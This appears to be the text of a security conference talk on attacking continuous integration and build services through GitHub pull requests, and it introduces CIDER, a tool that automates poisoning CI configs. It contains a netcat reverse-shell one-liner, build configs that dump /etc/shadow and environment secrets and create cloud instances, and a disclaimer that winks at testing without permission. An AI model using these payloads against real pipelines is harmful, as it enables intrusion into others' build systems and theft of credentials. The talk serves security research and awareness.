Exploiting Continuous Integration (CI) and Automated Build Systems

And introducing CIDER
Whoami

- SpaceB0x
- Sr. Security Engineer at LeanKit
- Application and network security (offense and defense)
- I like breaking in to systems, building systems, and learning
- Security consultant
./agenda.sh

- Overview of Continuous Integration concepts
- Configuration Vulnerabilities vs. Application Vulnerabilities
- Real world exploit #1
- Common Bad-practices
- Real world exploit #2 – Attacking the CI provider
- Introduce CIDER
Continuous Integration
Continuous Integration (CI)

- Quick iterative release of code to production servers
- Usually Many iterations per week or even per day.
- Repository centric
- In sync with Automated Build
- For infrastructure/servers/subnets etc.
Microservices

- Breaking down large app into small decoupled components
- These components interact with each other
- Eliminates single points of failure
- Autonomous development
Security Implications

• Good - Frequent release cycles are fabulous!
• Good - Faster code deployments = quick remediation
• Good - Decoupled systems reduced single points of failure
• Good - Compromise of one service doesn’t (always) mean full pwnage
Security Implications

- Good - Frequent release cycles are fabulous!
- Good - Faster code deployments = quick remediation
- Good - Decoupled systems reduced single points of failure
- Good - Compromise of one service doesn’t (always) mean full pwnage

- Bad - Fast release sometimes means hasty oversights
- Bad – Automated Deployment systems are checked less than the code that they deploy
Tools
Build Systems

- Take code and build conditionally
- Typically in a quasi containerized type of environment
- Both local and cloud based are popular

- Vendor:
  - Travis-CI
  - Circle-CI
  - Drone
  - TeamCity
  - BuildKite
Deployment Systems

• Deploy the code after build
• Heading more and more toward container driven

• Vendors
   Jenkins
   Octopus Deploy
   Kubernetes
   Rancher
   Mesosphere
Chains of Deployment
Chains of Deployment
Chains of deployment
Checks in the SDLC

• Build test before merges
• Web-hooks trigger specific actions based on conditions
• Services configured without regard to one another
Configuration Problems
GitHub – Huge attack surface

- Pull requests and commits trigger builds
- Build configurations normally in root of repo
- Thus build config change can be part of PR or commit
- Gain control of multiple systems through pull requests
Vulnerabilities are in Misconfiguration

- Creative configuration exploitation
- Vuln stacking at it’s finest
- Each individual service may be functioning exactly as intended
- Interaction between services is where many vulnerabilities lie
External Repos

• Most volatile attack surface
• Public repositories which map to internal build services
Real World Hax #1
```yaml
build:
  image: golang:1.5
  environment:
    - GO19VENDOREXPERIMENT=1
    - GOOS=linux
    - GOARCH=amd64
    - CGO_ENABLED=0
  commands:
    - go get
    - go
    - go build
    - go test

publish:
  docker:
    image:
    repo:
    storage_driver: overlay
    when:
      branch: master

plugin:
  name:
  desc:
  type:
  image:
  labels:
    -
    -
    -
```
build:
    image: golang:1.5
environment:
    - GO15VENDOREXPERIMENT=1
    - GOOS=linux
    - GOARCH=amd64
    - CGO_ENABLED=0
commands:
    - go get
    - go
    - go build
    - go test
    - echo "uh...hello?"
publish:
    docker:
        image: 
        username: 
        password: 
        email: $$$
        repo: 
        storage_driver: 
        when:
            branch: master
plugin:
    name: 
    desc: 
    type: 
    image: 
    labels:
        - 
        - 
        - 
        -
mknod /tmp/backpipe p
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe

nc -l 4444
Bad-Practices

Worst-Practices
Environment Vars

• Being used to store credentials
• Storing metadata for other services within micro-service infrastructure
Run everything as root

• Just a container, right guyz?
• You now have internal network access
• Full control to build augment the image
CI Provider Info leak

• Problems with the CI Providers themselves
• Leak SSH keys, etc. which can compromise other customers on host
• CI providers have at least some permissions to GitHub repos
• Cloud based CI providers have a hosting environment
• Speaking of which...
Real World Hax #2
before_install:
- curl ipecho.net/plain; echo
- uname -a
- netstat -lap
- netstat -lanp
- nslookup
- cat /etc/hosts
- cat /etc/shadow
- id
- whoami
- sudo id
- sudo whoami
- echo 'done'
before_install:
  - sudo uname -a
  - ifconfig
  - sudo uptime
  - sudo env
  - sudo gcloud compute project-info describe
  - sudo gcloud compute instances list
  - sudo gcloud compute networks subnets list
  - sudo gcloud compute routes list
  - sudo gcloud compute networks create testnetwork3 --mode auto
  - sudo gcloud instances create sbtestinstance --subnet testnetwork3
  - sudo cat /etc/resolv.conf
  - echo 'done'

node_js:
  - 4
Introducing CIDER
What is CIDER?

• **Continuous Integration and Deployment ExploiteR**
What is CIDER?

• **Continuous Integration and Deployment ExploiteR**
• Framework for exploiting and attacking CI build chains
What is CIDER?

- **Continuous Integration and Deployment ExploiteR**
- Framework for exploiting and attacking CI build chains
- Mainly leverages GitHub as attack surface to get to build services
What is CIDER?

• **Continuous Integration and Deployment ExploiteR**
• Framework for exploiting and attacking CI build chains
• Mainly leverages GitHub as attack surface to get to build services
• Takes the mess out forking, PR-ing, callbacking
What is CIDER?

- **Continuous Integration and Deployment ExploiteR**
- Framework for exploiting and attacking CI build chains
- Mainly leverages GitHub as attack surface to get to build services
- Takes the mess out forking, PR-ing, callbacking
- It will poison a handful of build services and “exploits” for each one
Why CIDER?

- Fun
- Make attacking easy
- Awareness
- RottenApple by @claudijd
- Facilitate further research
CIDER overview
CIDER – ‘help’

---------------------
Basic Commands 1
---------------------

Help  --> Prints this very help menu
exit  --> Exits CIDER
login --> Login to GitHub
clear --> Clear screen

---------------------
Repository Commands 1
---------------------

list  --> Lists assets based on the options given
       - targets  --> Prints all targets in target list
       - repos    --> Prints repositories currently pulled down.
       - exploits --> Prints available exploits.
                      These may or may not match targets list

load [EXPLOIT]  --> Load an exploit
unload          --> Unload currently loaded exploit. No parameters necessary.
run             --> Use the currently loaded exploit against target list

add             --> Add a target by specifying so
       - target [TARGET] --> Parameter to "add" command, in for repo_owner/repo_name

remove          --> Remove a target by specifying so
       - target [TARGET] --> Parameter to "remove" command, in for repo_owner/repo_name
CIDER – ‘add target’ & ‘list targets’

GitHub Targets
fakeowner/fakereponame
CIDER > add target foo/bar

GitHub Targets
fakeowner/fakereponame
foo/bar
CIDER >
CIDER – ‘load’ and ‘info’

CIDER > load travis/netcat_reverse_shell
[CIDER [travis/netcat_reverse_shell]] > info
INFO
---

This exploit takes advantage of open Travis-CI repositories to create a netcat connection back to the attacker. The end result is a shell from which to control the compromised Travis-CI container.

ORDER OF EXECUTION
--------------

1) Fork all targets
2) Clone all forked targets locally
3) For all targets
4) Start shell handler(s)
5) Load and poison the .travis.yml file of the cloned repos
6) Push committed changes, and submit a pull request
CIDER features

- Node.JS
- Build modularly
- Can handle bulk lists of target repos
- Clean up for GitHub repo craziness
- Ngrok – because port forwarding and public IPs suck
Ngrok
Disclaimer

• It is against the GitHub user agreement to test against a repository, even if you have permission from the owner of the repo
• You must be the owner to test a repo
• When testing ask them to make you an owner
WINK WINK
Limitations

- Build Queues
- GitHub Noise
- Timeouts
- Repo API request throttling
Just the beginning...

- More CI-Frameworks
- Start tackling deployment services
- Start exploring other entrypoints
  - Other code repositories
  - ChatOps (Slack)
Thanks

- LeanKit Operations Team
- Evan Snapp
- @claudijd
Fin

CIDER on Github: https://github.com/spaceB0x/cider

Twitter: @spaceB0xx
www.untamedtheory.com